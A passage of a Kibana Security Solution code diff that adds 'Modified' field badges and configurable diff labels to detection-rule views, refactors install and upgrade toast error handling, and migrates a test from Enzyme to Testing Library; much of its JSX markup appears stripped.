EuiDescriptionListProps['listItems'] => { +const prepareDefinitionSectionListItems = ({ + rule, + isInteractive, + savedQuery, + isSuppressionEnabled, + showModifiedFields = false, +}: PrepareDefinitionSectionListItemsProps): EuiDescriptionListProps['listItems'] => { const definitionSectionListItems: EuiDescriptionListProps['listItems'] = []; if ('index' in rule && rule.index && rule.index.length > 0) { definitionSectionListItems.push({ - title: {i18n.INDEX_FIELD_LABEL}, + title: ( + + + + ), description: , }); } @@ -504,14 +522,24 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push( { title: ( - {i18n.DATA_VIEW_ID_FIELD_LABEL} + + + ), description: , }, { title: ( - {i18n.DATA_VIEW_INDEX_PATTERN_FIELD_LABEL} + ), description: , @@ -524,7 +552,11 @@ const prepareDefinitionSectionListItems = ( { title: ( - {descriptionStepI18n.SAVED_QUERY_NAME_LABEL} + ), description: , @@ -532,7 +564,11 @@ const prepareDefinitionSectionListItems = ( { title: ( - {i18n.SAVED_QUERY_LANGUAGE_LABEL} + ), description: ( @@ -547,7 +583,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {descriptionStepI18n.SAVED_QUERY_FILTERS_LABEL} + ), description: ( @@ -565,7 +605,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {descriptionStepI18n.SAVED_QUERY_LABEL} + ), description: ( @@ -580,7 +624,15 @@ const prepareDefinitionSectionListItems = ( if ('filters' in rule && rule.filters?.length) { definitionSectionListItems.push({ - title: {descriptionStepI18n.FILTERS_LABEL}, + title: ( + + + + ), description: ( {descriptionStepI18n.EQL_QUERY_LABEL} + + + ), description: , }); @@ -604,7 +662,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {descriptionStepI18n.ESQL_QUERY_LABEL} + ), description: , @@ -613,14 +675,24 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push( { title: ( - {descriptionStepI18n.QUERY_LABEL} + + + ), description: , }, { title: ( - {i18n.QUERY_LANGUAGE_LABEL} + ), description: ( @@ -637,7 +709,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {EQL_OPTIONS_EVENT_CATEGORY_FIELD_LABEL} + ), description: ( @@ -652,7 +728,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {EQL_OPTIONS_EVENT_TIEBREAKER_FIELD_LABEL} + ), description: ( @@ -667,7 +747,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {EQL_OPTIONS_EVENT_TIMESTAMP_FIELD_LABEL} + ), description: ( @@ -680,7 +764,7 @@ const prepareDefinitionSectionListItems = ( if (rule.type) { definitionSectionListItems.push({ - title: i18n.RULE_TYPE_FIELD_LABEL, + title: , description: , }); } @@ -689,7 +773,7 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {i18n.ANOMALY_THRESHOLD_FIELD_LABEL} + ), description: , @@ -699,7 +783,12 @@ const prepareDefinitionSectionListItems = ( if ('machine_learning_job_id' in rule) { definitionSectionListItems.push({ title: ( - {i18n.MACHINE_LEARNING_JOB_ID_FIELD_LABEL} + + + ), description: ( - {i18n.RELATED_INTEGRATIONS_FIELD_LABEL} + ), description: ( @@ -729,7 +818,9 @@ const prepareDefinitionSectionListItems = ( if (rule.required_fields && rule.required_fields.length > 0) { definitionSectionListItems.push({ title: ( - {i18n.REQUIRED_FIELDS_FIELD_LABEL} + + + ), description: , }); @@ -737,7 +828,9 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {i18n.TIMELINE_TITLE_FIELD_LABEL} + + + ), description: ( @@ -746,14 +839,22 @@ const prepareDefinitionSectionListItems = ( if ('threshold' in rule && rule.threshold) { definitionSectionListItems.push({ - title: {i18n.THRESHOLD_FIELD_LABEL}, + title: ( + + + + ), description: , }); } if ('threat_index' in rule && rule.threat_index) { definitionSectionListItems.push({ - title: {i18n.THREAT_INDEX_FIELD_LABEL}, + title: ( + + + + ), description: , }); } @@ -761,7 +862,13 @@ const prepareDefinitionSectionListItems = ( if ('threat_filters' in rule && rule.threat_filters && rule.threat_filters.length > 0) { definitionSectionListItems.push({ title: ( - {i18n.THREAT_FILTERS_FIELD_LABEL} + + + ), description: ( - {descriptionStepI18n.THREAT_QUERY_LABEL} + ), description: , @@ -789,7 +900,11 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {i18n.THREAT_QUERY_LANGUAGE_LABEL} + ), description: ( @@ -803,7 +918,9 @@ const prepareDefinitionSectionListItems = ( if ('threat_mapping' in rule && rule.threat_mapping) { definitionSectionListItems.push({ title: ( - {i18n.THREAT_MAPPING_FIELD_LABEL} + + + ), description: , }); @@ -813,7 +930,7 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {i18n.NEW_TERMS_FIELDS_FIELD_LABEL} + ), description: , @@ -824,7 +941,7 @@ const prepareDefinitionSectionListItems = ( definitionSectionListItems.push({ title: ( - {i18n.HISTORY_WINDOW_SIZE_FIELD_LABEL} + ), description: , @@ -886,6 +1003,7 @@ export interface RuleDefinitionSectionProps columnWidths?: EuiDescriptionListProps['columnWidths']; isInteractive?: boolean; dataTestSubj?: string; + showModifiedFields?: boolean; } export const RuleDefinitionSection = ({ @@ -893,6 +1011,7 @@ export const RuleDefinitionSection = ({ isInteractive = false, columnWidths = DEFAULT_DESCRIPTION_LIST_COLUMN_WIDTHS, dataTestSubj, + showModifiedFields, ...descriptionListProps }: RuleDefinitionSectionProps) => { const { savedQuery } = useGetSavedQuery({ @@ -902,12 +1021,13 @@ export const RuleDefinitionSection = ({ const { isSuppressionEnabled } = useAlertSuppression(rule.type); - const definitionSectionListItems = prepareDefinitionSectionListItems( + const definitionSectionListItems = prepareDefinitionSectionListItems({ rule, isInteractive, savedQuery, - isSuppressionEnabled - ); + isSuppressionEnabled, + showModifiedFields, + }); return (
    diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_diff_tab.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_diff_tab.tsx index b54dffd4070fd..9b786d1e4c533 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_diff_tab.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_diff_tab.tsx @@ -21,7 +21,6 @@ import { normalizeMachineLearningJobIds } from '../../../../../common/detection_ import { filterEmptyThreats } from '../../../rule_creation_ui/pages/rule_creation/helpers'; import type { RuleResponse } from '../../../../../common/api/detection_engine/model/rule_schema/rule_schemas.gen'; import { DiffView } from './json_diff/diff_view'; -import * as i18n from './json_diff/translations'; /* Inclding these properties in diff display might be confusing to users. */ const HIDDEN_PROPERTIES: Array = [ @@ -57,6 +56,8 @@ const HIDDEN_PROPERTIES: Array = [ * Another technical property that is used for logic under the hood the user doesn't need to be aware of */ 'rule_source', + /* Technical property that changes at rule runtime. */ + 'execution_summary', ]; const sortAndStringifyJson = (jsObject: Record): string => @@ -121,10 +122,20 @@ const normalizeRule = (originalRule: RuleResponse): RuleResponse => { interface RuleDiffTabProps { oldRule: RuleResponse; newRule: RuleResponse; - newRuleLabel?: string; + leftDiffSideLabel: string; + rightDiffSideLabel: string; + leftDiffSideDescription: string; + rightDiffSideDescription: string; } -export const RuleDiffTab = ({ oldRule, newRule, newRuleLabel }: RuleDiffTabProps) => { +export const RuleDiffTab = ({ + oldRule, + newRule, + leftDiffSideLabel, + rightDiffSideLabel, + leftDiffSideDescription, + rightDiffSideDescription, +}: RuleDiffTabProps) => { const [oldSource, newSource] = useMemo(() => { const visibleNewRuleProperties = omit(normalizeRule(newRule), ...HIDDEN_PROPERTIES); const visibleOldRuleProperties = omit( @@ -146,24 +157,19 @@ export const RuleDiffTab = ({ oldRule, newRule, newRuleLabel }: RuleDiffTabProps -
    {i18n.CURRENT_RULE_VERSION}
    +
    {leftDiffSideLabel}
    - + -
    {newRuleLabel ?? i18n.ELASTIC_UPDATE_VERSION}
    +
    {rightDiffSideLabel}
    diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_field_name.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_field_name.tsx new file mode 100644 index 0000000000000..773d5e6c642fb --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_field_name.tsx @@ -0,0 +1,33 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { EuiFlexGroup } from '@elastic/eui'; +import React from 'react'; +import { ModifiedFieldBadge } from './modified_field_badge'; +import { getHumanizedFieldName } from './get_humanized_field_name'; + +interface RuleFieldNameProps { + fieldName: string; + label?: string; + showModifiedFields?: boolean; +} + +export const RuleFieldName = ({ + fieldName, + label, + showModifiedFields = false, +}: RuleFieldNameProps) => { + const humanizedFieldName = getHumanizedFieldName(fieldName); + return showModifiedFields ? ( + + {label ?? humanizedFieldName} + + + ) : ( + label ?? humanizedFieldName + ); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_schedule_section.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_schedule_section.tsx index 45b7eb3f5ecf0..2ac87a225b76e 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_schedule_section.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/rule_schedule_section.tsx @@ -14,6 +14,7 @@ import { IntervalAbbrScreenReader } from '../../../../common/components/accessib import type { RuleResponse } from '../../../../../common/api/detection_engine/model/rule_schema'; import { DEFAULT_DESCRIPTION_LIST_COLUMN_WIDTHS } from './constants'; import * as i18n from './translations'; +import { RuleFieldName } from './rule_field_name'; interface AccessibleTimeValueProps { timeValue: string; @@ -48,11 +49,13 @@ const LookBack = ({ value }: LookBackProps) => ( export interface RuleScheduleSectionProps extends React.ComponentProps { rule: Partial; columnWidths?: EuiDescriptionListProps['columnWidths']; + showModifiedFields?: boolean; } export const RuleScheduleSection = ({ rule, columnWidths = DEFAULT_DESCRIPTION_LIST_COLUMN_WIDTHS, + showModifiedFields = false, ...descriptionListProps }: RuleScheduleSectionProps) => { if (!rule.interval || !rule.from) { @@ -70,13 +73,25 @@ export const RuleScheduleSection = ({ const ruleSectionListItems = !simpleRuleSchedule ? [ { - title: {i18n.INTERVAL_FIELD_LABEL}, + title: ( + + + + ), description: , }, { title: ( - {i18n.RULE_SOURCE_EVENTS_TIME_RANGE_FIELD_LABEL} + ), description: ( @@ -91,11 +106,27 @@ export const RuleScheduleSection = ({ ] : [ { - title: {i18n.INTERVAL_FIELD_LABEL}, + title: ( + + + + ), description: , }, { - title: {i18n.LOOK_BACK_FIELD_LABEL}, + title: ( + + + + ), description: , }, ]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/translations.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/translations.tsx index 04efe7de06c43..2d4d718a67aca 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/translations.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/components/rule_details/translations.tsx @@ -427,6 +427,13 @@ export const MODIFIED_PREBUILT_RULE_LABEL = i18n.translate( } ); +export const MODIFIED_PREBUILT_RULE_PER_FIELD_LABEL = i18n.translate( + 'xpack.securitySolution.detectionEngine.ruleDetails.customizedPrebuiltRulePerFieldLabel', + { + defaultMessage: 'Modified', + } +); + export const QUERY_LANGUAGE_LABEL = i18n.translate( 'xpack.securitySolution.detectionEngine.ruleDetails.queryLanguageLabel', { @@ -475,3 +482,18 @@ export const HAS_RULE_UPDATE_CALLOUT_BUTTON = i18n.translate( defaultMessage: 'Review update', } ); + +export const MODIFIED_PREBUILT_DIFF_TOOLTIP_TITLE = i18n.translate( + 'xpack.securitySolution.detectionEngine.rules.allRules.actions.ruleDiffTooltipTitle', + { + defaultMessage: 'Unable to view rule diff', + } +); + +export const MODIFIED_PREBUILT_DIFF_TOOLTIP_CONTENT = i18n.translate( + 'xpack.securitySolution.detectionEngine.rules.allRules.actions.ruleDiffTooltipContent', + { + defaultMessage: + "This rule hasn't been updated in a while and the original Elastic version cannot be found. We recommend updating this rule to the latest version.", + } +); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_upgrade.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_upgrade.tsx index 30e2cf63c4dff..d612dc2dac973 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_upgrade.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_upgrade.tsx @@ -301,7 +301,14 @@ export function usePrebuiltRulesUpgrade({ } let updateTabContent = ( - + ); // Show the resolver tab only if rule customization is enabled and there @@ -338,6 +345,10 @@ export function usePrebuiltRulesUpgrade({
    ), diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_view_base_diff.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_view_base_diff.tsx deleted file mode 100644 index 121740a07febe..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/hooks/use_prebuilt_rules_view_base_diff.tsx +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import React, { useState, useCallback, useMemo } from 'react'; - -import { isCustomizedPrebuiltRule } from '../../../../common/api/detection_engine/model/rule_schema/utils'; -import type { RuleResponse } from '../../../../common/api/detection_engine'; -import { PrebuiltRulesBaseVersionFlyout } from '../components/rule_details/base_version_diff/base_version_flyout'; -import { useFetchPrebuiltRuleBaseVersionQuery } from '../api/hooks/prebuilt_rules/use_fetch_prebuilt_rule_base_version_query'; - -export const PREBUILT_RULE_BASE_VERSION_FLYOUT_ANCHOR = 'baseVersionPrebuiltRulePreview'; - -export interface OpenRuleDiffFlyoutParams { - isReverting?: boolean; -} - -interface UsePrebuiltRulesViewBaseDiffProps { - rule: RuleResponse | null; - onRevert?: () => void; -} - -export const usePrebuiltRulesViewBaseDiff = ({ - rule, - onRevert, -}: UsePrebuiltRulesViewBaseDiffProps) => { - const [isFlyoutOpen, setIsFlyoutOpen] = useState(false); - const [isReverting, setIsReverting] = useState(false); - const enabled = useMemo(() => rule != null && isCustomizedPrebuiltRule(rule), [rule]); - const { data, isLoading, error } = useFetchPrebuiltRuleBaseVersionQuery({ - id: rule?.id, - enabled, - }); - - // Handle when we receive an error when the base_version doesn't exist - const doesBaseVersionExist: boolean = useMemo(() => !error && data != null, [data, error]); - - const openFlyout = useCallback( - ({ isReverting: renderRevertFeatures = false }: OpenRuleDiffFlyoutParams) => { - setIsReverting(renderRevertFeatures); - setIsFlyoutOpen(true); - }, - [] - ); - - const closeFlyout = useCallback(() => setIsFlyoutOpen(false), []); - - return { - baseVersionFlyout: - isFlyoutOpen && !isLoading && data != null && doesBaseVersionExist ? ( - - ) : null, - openFlyout, - doesBaseVersionExist, - isLoading, - }; -}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/translations.ts index 7c554224c9517..badc26c6010a7 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/translations.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/translations.ts @@ -16,7 +16,7 @@ export const RULE_INSTALLATION_FAILED = i18n.translate( export const INSTALL_RULE_SUCCESS = (succeeded: number) => i18n.translate('xpack.securitySolution.detectionEngine.prebuiltRules.toast.installRuleSuccess', { - defaultMessage: '{succeeded, plural, one {# rule} other {# rules}} installed successfully.', + defaultMessage: '{succeeded, plural, one {# rule} other {# rules}} installed successfully', values: { succeeded }, }); @@ -29,7 +29,7 @@ export const INSTALL_RULE_SKIPPED = (skipped: number) => export const INSTALL_RULE_FAILED = (failed: number) => i18n.translate('xpack.securitySolution.detectionEngine.prebuiltRules.toast.installRuleFailed', { - defaultMessage: '{failed, plural, one {# rule} other {# rules}} failed to install.', + defaultMessage: '{failed, plural, one {# rule} other {# rules}} failed to install', values: { failed }, }); @@ -42,7 +42,7 @@ export const RULE_UPGRADE_FAILED = i18n.translate( export const UPGRADE_RULE_SUCCESS = (succeeded: number) => i18n.translate('xpack.securitySolution.detectionEngine.prebuiltRules.toast.upgradeRuleSuccess', { - defaultMessage: '{succeeded, plural, one {# rule} other {# rules}} updated successfully.', + defaultMessage: '{succeeded, plural, one {# rule} other {# rules}} updated successfully', values: { succeeded }, }); @@ -55,7 +55,7 @@ export const UPGRADE_RULE_SKIPPED = (skipped: number) => export const UPGRADE_RULE_FAILED = (failed: number) => i18n.translate('xpack.securitySolution.detectionEngine.prebuiltRules.toast.upgradeRuleFailed', { - defaultMessage: '{failed, plural, one {# rule} other {# rules}} failed to update.', + defaultMessage: '{failed, plural, one {# rule} other {# rules}} failed to update', values: { failed }, }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_install.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_install.ts index 26e565ce9ff6d..5665499c6652f 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_install.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_install.ts @@ -4,49 +4,75 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ -import { useAppToasts } from '../../../../common/hooks/use_app_toasts'; +import type { IToasts } from '@kbn/core/public'; +import type { PerformRuleInstallationResponseBody } from '../../../../../common/api/detection_engine'; +import { useToasts } from '../../../../common/lib/kibana'; import { usePerformAllRulesInstallMutation } from '../../api/hooks/prebuilt_rules/use_perform_all_rules_install_mutation'; import { usePerformSpecificRulesInstallMutation } from '../../api/hooks/prebuilt_rules/use_perform_specific_rules_install_mutation'; import * as i18n from './translations'; +import { showErrorToast } from '../../../../common/components/utils'; export const usePerformInstallAllRules = () => { - const { addError, addSuccess } = useAppToasts(); + const toasts = useToasts(); return usePerformAllRulesInstallMutation({ - onError: (err) => { - addError(err, { title: i18n.RULE_INSTALLATION_FAILED }); + onError: (error) => { + handleErrorResponse(error, toasts); }, onSuccess: (result) => { - addSuccess(getSuccessToastMessage(result)); + handleSuccessResponse(result, toasts); }, }); }; export const usePerformInstallSpecificRules = () => { - const { addError, addSuccess } = useAppToasts(); + const toasts = useToasts(); return usePerformSpecificRulesInstallMutation({ - onError: (err) => { - addError(err, { title: i18n.RULE_INSTALLATION_FAILED }); + onError: (error) => { + handleErrorResponse(error, toasts); }, onSuccess: (result) => { - addSuccess(getSuccessToastMessage(result)); + handleSuccessResponse(result, toasts); }, }); }; -const getSuccessToastMessage = (result: { +function handleErrorResponse(error: unknown, toasts: IToasts) { + showErrorToast({ + title: i18n.RULE_INSTALLATION_FAILED, + fullMessage: JSON.stringify(error, null, 2), + toasts, + }); +} + +function handleSuccessResponse(result: PerformRuleInstallationResponseBody, toasts: IToasts) { + const successToastMessage = getSuccessToastMessage(result); + if (successToastMessage) { + toasts.addSuccess(successToastMessage); + } + + if (result.summary.failed > 0) { + showErrorToast({ + title: i18n.INSTALL_RULE_FAILED(result.summary.failed), + fullMessage: JSON.stringify(result.errors, null, 2), + toasts, + }); + } +} + +function getSuccessToastMessage(result: { summary: { total: number; succeeded: number; skipped: number; failed: number; }; -}) => { +}): string { const toastMessages: string[] = []; const { - summary: { succeeded, skipped, failed }, + summary: { succeeded, skipped }, } = result; if (succeeded > 0) { toastMessages.push(i18n.INSTALL_RULE_SUCCESS(succeeded)); @@ -54,8 +80,5 @@ const getSuccessToastMessage = (result: { if (skipped > 0) { toastMessages.push(i18n.INSTALL_RULE_SKIPPED(skipped)); } - if (failed > 0) { - toastMessages.push(i18n.INSTALL_RULE_FAILED(failed)); - } return toastMessages.join(' '); -}; +} diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_upgrade.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_upgrade.ts index e1ae2768dacc6..c541828d060a0 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_upgrade.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/logic/prebuilt_rules/use_perform_rule_upgrade.ts @@ -4,24 +4,42 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ -import { useAppToasts } from '../../../../common/hooks/use_app_toasts'; + +import { showErrorToast } from '../../../../common/components/utils'; +import { useToasts } from '../../../../common/lib/kibana'; import { usePerformRulesUpgradeMutation } from '../../api/hooks/prebuilt_rules/use_perform_rules_upgrade_mutation'; import * as i18n from './translations'; export const usePerformUpgradeRules = () => { - const { addError, addSuccess } = useAppToasts(); + const toasts = useToasts(); return usePerformRulesUpgradeMutation({ - onError: (err) => { - addError(err, { title: i18n.RULE_UPGRADE_FAILED }); + onError: (error) => { + showErrorToast({ + title: i18n.RULE_UPGRADE_FAILED, + fullMessage: JSON.stringify(error, null, 2), + toasts, + }); }, onSuccess: (result, vars) => { if (vars.dry_run) { // This is a preflight check, no need to show toast return; } - addSuccess(getSuccessToastMessage(result)); + + const successToastMessage = getSuccessToastMessage(result); + if (successToastMessage) { + toasts.addSuccess(getSuccessToastMessage(result)); + } + + if (result.summary.failed > 0) { + showErrorToast({ + title: i18n.UPGRADE_RULE_FAILED(result.summary.failed), + fullMessage: JSON.stringify(result.errors, null, 2), + toasts, + }); + } }, }); }; @@ -36,7 +54,7 @@ const getSuccessToastMessage = (result: { }) => { const toastMessage: string[] = []; const { - summary: { succeeded, skipped, failed }, + summary: { succeeded, skipped }, } = result; if (succeeded > 0) { toastMessage.push(i18n.UPGRADE_RULE_SUCCESS(succeeded)); @@ -44,8 +62,5 @@ const getSuccessToastMessage = (result: { if (skipped > 0) { toastMessage.push(i18n.UPGRADE_RULE_SKIPPED(skipped)); } - if (failed > 0) { - toastMessage.push(i18n.UPGRADE_RULE_FAILED(failed)); - } return toastMessage.join(' '); }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/model/rule_details/rule_field_diff.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/model/rule_details/rule_field_diff.ts index b5121d182e34f..f60125457b9ea 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/model/rule_details/rule_field_diff.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management/model/rule_details/rule_field_diff.ts @@ -21,3 +21,8 @@ export interface FieldsGroupDiff { formattedDiffs: FormattedFieldDiff; fieldsGroupName: keyof AllFieldsDiff; } + +export enum DiffLayout { + LeftToRight, + RightToLeft, +} diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rule_import_modal/utils.ts b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rule_import_modal/utils.ts index cb17f776572a7..688011267ee8d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rule_import_modal/utils.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rule_import_modal/utils.ts @@ -11,6 +11,7 @@ import type { IToasts } from '@kbn/core/public'; import * as i18n from './translations'; import type { ErrorSchema, ImportRulesResponse } from '../../../../../common/api/detection_engine'; +import { showErrorToast } from '../../../../common/components/utils'; export function getFailedConnectorsCount(actionConnectorsErrors: ErrorSchema[]) { const connectorIds = new Set( @@ -46,25 +47,6 @@ function getUserFriendlyConnectorMessages(actionConnectorsErrors: ErrorSchema[]) return mappedErrors; } -function showErrorToast({ - title, - shortMessage, - fullMessage, - toasts, -}: { - title: string; - shortMessage: string; - fullMessage: string; - toasts: IToasts; -}) { - const error = new Error('Error details'); - error.stack = fullMessage; - toasts.addError(error, { - title, - toastMessage: shortMessage, - }); -} - export function showToast({ importResponse, toasts, diff --git a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rules_table/rules_table_toolbar.tsx b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rules_table/rules_table_toolbar.tsx index d16ca060a4e0f..0e2fa2c3f1c06 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rules_table/rules_table_toolbar.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detection_engine/rule_management_ui/components/rules_table/rules_table_toolbar.tsx @@ -103,7 +103,7 @@ export const RulesTableToolbar = React.memo(() => { - {hasAssistantPrivilege && selectedRules.length > 0 && ( + {hasAssistantPrivilege && selectedRules.length > 0 && isAssistantEnabled && ( ): J ({ eui: euiDarkVars, darkMode: true })}> - - {children} - + + + {children} + + diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alert_summary/table/table.tsx b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alert_summary/table/table.tsx index 9371168ac76ac..41b25a9825fcd 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alert_summary/table/table.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alert_summary/table/table.tsx @@ -31,11 +31,12 @@ import type { } from '@elastic/eui'; import type { PackageListItem } from '@kbn/fleet-plugin/common'; import styled from '@emotion/styled'; +import { useBrowserFields } from '../../../../data_view_manager/hooks/use_browser_fields'; +import { DataViewManagerScopeName } from '../../../../data_view_manager/constants'; import { useAdditionalBulkActions } from '../../../hooks/alert_summary/use_additional_bulk_actions'; import { APP_ID, CASES_FEATURE_ID } from '../../../../../common'; import { ActionsCell } from './actions_cell'; import { AdditionalToolbarControls } from './additional_toolbar_controls'; -import { getDataViewStateFromIndexFields } from '../../../../common/containers/source/use_data_view'; import { inputsSelectors } from '../../../../common/store'; import { useDeepEqualSelector } from '../../../../common/hooks/use_selector'; import { combineQueries } from '../../../../common/lib/kuery'; @@ -205,10 +206,7 @@ export const Table = memo(({ dataView, groupingFilters, packages, ruleResponse } const dataViewSpec = useMemo(() => dataView.toSpec(), [dataView]); - const { browserFields } = useMemo( - () => getDataViewStateFromIndexFields('', dataViewSpec.fields), - [dataViewSpec.fields] - ); + const browserFields = useBrowserFields(DataViewManagerScopeName.detections, dataView); const getGlobalQuerySelector = useMemo(() => inputsSelectors.globalQuerySelector(), []); const globalQuery = useDeepEqualSelector(getGlobalQuerySelector); diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_kpis/alerts_summary_charts_panel/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_kpis/alerts_summary_charts_panel/index.tsx index 791f8eb9dc1ce..0a5e2f3610541 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_kpis/alerts_summary_charts_panel/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_kpis/alerts_summary_charts_panel/index.tsx @@ -78,6 +78,7 @@ export const AlertsSummaryChartsPanel: React.FC = ({ hideSubtitle showInspectButton={false} toggleStatus={isExpanded} + toggleAriaLabel={i18n.CHARTS_TITLE} toggleQuery={toggleQuery} /> {isExpanded && ( diff --git a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.test.tsx index 994e941bb5c88..b090521883a33 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/detections/components/alerts_table/timeline_actions/alert_context_menu.test.tsx @@ -5,7 +5,8 @@ * 2.0. */ -import { mount, type ComponentType as EnzymeComponentType } from 'enzyme'; +import { render, waitFor } from '@testing-library/react'; +import { userEvent } from '@testing-library/user-event'; import { AlertContextMenu } from './alert_context_menu'; import { TestProviders } from '../../../../common/mock'; import React from 'react'; @@ -106,72 +107,89 @@ jest.mock('../../../containers/detection_engine/alerts/use_alerts_privileges', ( useAlertsPrivileges: jest.fn().mockReturnValue({ hasIndexWrite: true, hasKibanaCRUD: true }), })); -const actionMenuButton = '[data-test-subj="timeline-context-menu-button"] button'; -const addToExistingCaseButton = '[data-test-subj="add-to-existing-case-action"]'; -const addToNewCaseButton = '[data-test-subj="add-to-new-case-action"]'; -const markAsOpenButton = '[data-test-subj="open-alert-status"]'; -const markAsAcknowledgedButton = '[data-test-subj="acknowledged-alert-status"]'; -const markAsClosedButton = '[data-test-subj="close-alert-status"]'; -const addEndpointEventFilterButton = '[data-test-subj="add-event-filter-menu-item"]'; -const applyAlertTagsButton = 